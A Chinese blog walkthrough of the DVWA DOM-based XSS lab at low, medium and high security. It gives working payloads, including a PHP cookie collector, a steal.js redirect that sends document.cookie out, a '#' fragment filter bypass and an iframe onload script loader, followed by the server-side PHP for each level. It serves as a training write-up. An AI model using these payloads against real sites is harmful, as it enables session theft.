zoukankan      html  css  js  c++  java
  • 【DVWA(六)】XXS DOM跨站攻击


    XSS DOM跨站攻击(DOM Based Cross Site Scripting)

    前言:

    DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。

    DOM与前两种XSS跨站攻击(反射型、存储型)不同之处在于:不与后台服务器有数据


    low:

    1.观察:

    下拉option的形式,查看html代码

    <script>
        if (document.location.href.indexOf("default=") >= 0) {
            var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
            document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
            document.write("<option value='' disabled='disabled'>----</option>");
        }
        document.write("<option value='English'>English</option>");
        document.write("<option value='French'>French</option>");
        document.write("<option value='Spanish'>Spanish</option>");
        document.write("<option value='German'>German</option>");
    </script>
    <option value="English">English</option>
    <option value="" disabled="disabled">----</option>
    <option value="English">English</option>
    <option value="French">French</option>
    <option value="Spanish">Spanish</option>
    <option value="German">German</option>

    可以发现四个选项,英语默认选项

    2.使用hackbar load网址查看:

    发现结构简单,default=后可以添加脚本

    3.尝试:

    http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=<script>alert("test")</script>

    execute执行发现弹出alert

    此时html中多了个选项option

    4.窃取cookie准备工作:

    www文件夹下继续使用上一篇随笔的php文件和js文件:
    get_low_dvwa_cookie.php:

    <?php
    
    $cookie=$_GET['cookie'];
    file_put_contents('get_low_dvwa_cookie.txt',$cookie);
    
    ?>

    steal.js:

    document.location='http://127.0.0.1/get_low_dvwa_cookie.php?cookie='+document.cookie;

    5.添加脚本:

    在default=后添加: <script src="http://127.0.0.1/steal.js"></script> 

    6.执行:

    会发现已经获取了cookie并保存在文件中


    medium:

    1.尝试<script>、大小写组合、<scr<script>ipt>:

    发现不行,并不会执行,没有变化,此时查看HTML代码,发现并没有插入到option中,肯定是过滤掉了script标签

    2.第一种方法#:

    在#之后的不传到服务器,可以绕过,所以网址变为

    http://127.0.0.1/dvwa/vulnerabilities/xss_d/?#default=<script src="http://127.0.0.1/steal.js"></script>

    3.第二种方法:

    尝试iframe标签

    <iframe onload="var b= document.createElement('script'); 
    b.setAttribute('src','http://127.0.0.1/steal.js');
    document.getElementsByTagName('head')[0].appendChild(b);"
    >


    发现选项变了,但是没执行,查看HTML代码发现只有value,没有代码,缺少闭合

    4.对iframe前的标签进行闭合:

    </option></select>
    <
    iframe onload="var b= document.createElement('script');
    b.setAttribute('src','http://127.0.0.1/steal.js');
    document.getElementsByTagName('head')[0].appendChild(b);"
    >

    执行,成功!


    high:

    1.先尝试#绕过

    http://127.0.0.1/dvwa/vulnerabilities/xss_d/?#default=<script src="http://127.0.0.1/steal.js"></script>

    哦吼,可行!

    2.比对三等级的源代码

    通过对比服务器php源代码就可以看出刚刚的绕过的依据了。

    low:

    <?php
    
    # No protections, anything goes
    
    ?> 

    没有进行任何处理;
    medium:

    <?php
    
    // Is there any input?
    if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
        $default = $_GET['default'];
        
        # Do not allow script tags
        if (stripos ($default, "<script") !== false) {
            header ("location: ?default=English");
            exit;
        }
    }
    
    ?> 

    先判断输入是否空,不空就赋值到default,然后判断script标签,大小写都不管用,因此服务器绕过和换标签都可以;
    high:

    <?php
    
    // Is there any input?
    if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    
        # White list the allowable languages
        switch ($_GET['default']) {
            case "French":
            case "English":
            case "German":
            case "Spanish":
                # ok
                break;
            default:
                header ("location: ?default=English");
                exit;
        }
    }
    
    ?> 

    与服务器交互,只有跟选项匹配才行,因此使用#轻易绕过;


    impossible:

    依旧无解,查看服务器php源码:

    <?php
    
    # Don't need to do anything, protction handled on the client side
    
    ?> 

    后记:

    发现一个XSS跨站攻击的网站,挺酷的。https://alf.nu/alert1

  • 相关阅读:
    C#中泛型学习笔记
    ASP.NET C#各种数据库连接字符串大全——SQLServer、Oracle、Access
    单点登录SSO
    Package Manager Console 向VS2010安装 EntityFramework
    JavasSript中类的实现(1)
    Java线程实现提供者消费者模式
    MySQL插入语句解决唯一键约束
    【BZOJ4000】【LOJ2104】【TJOI2015】棋盘 (状压dp + 矩阵快速幂)
    【AGC005F】Many Easy Problems (NTT)
    【Luogu4630】【APIO2018】 Duathlon 铁人两项 (圆方树)
  • 原文地址:https://www.cnblogs.com/wayne-tao/p/11084981.html
Copyright © 2011-2022 走看看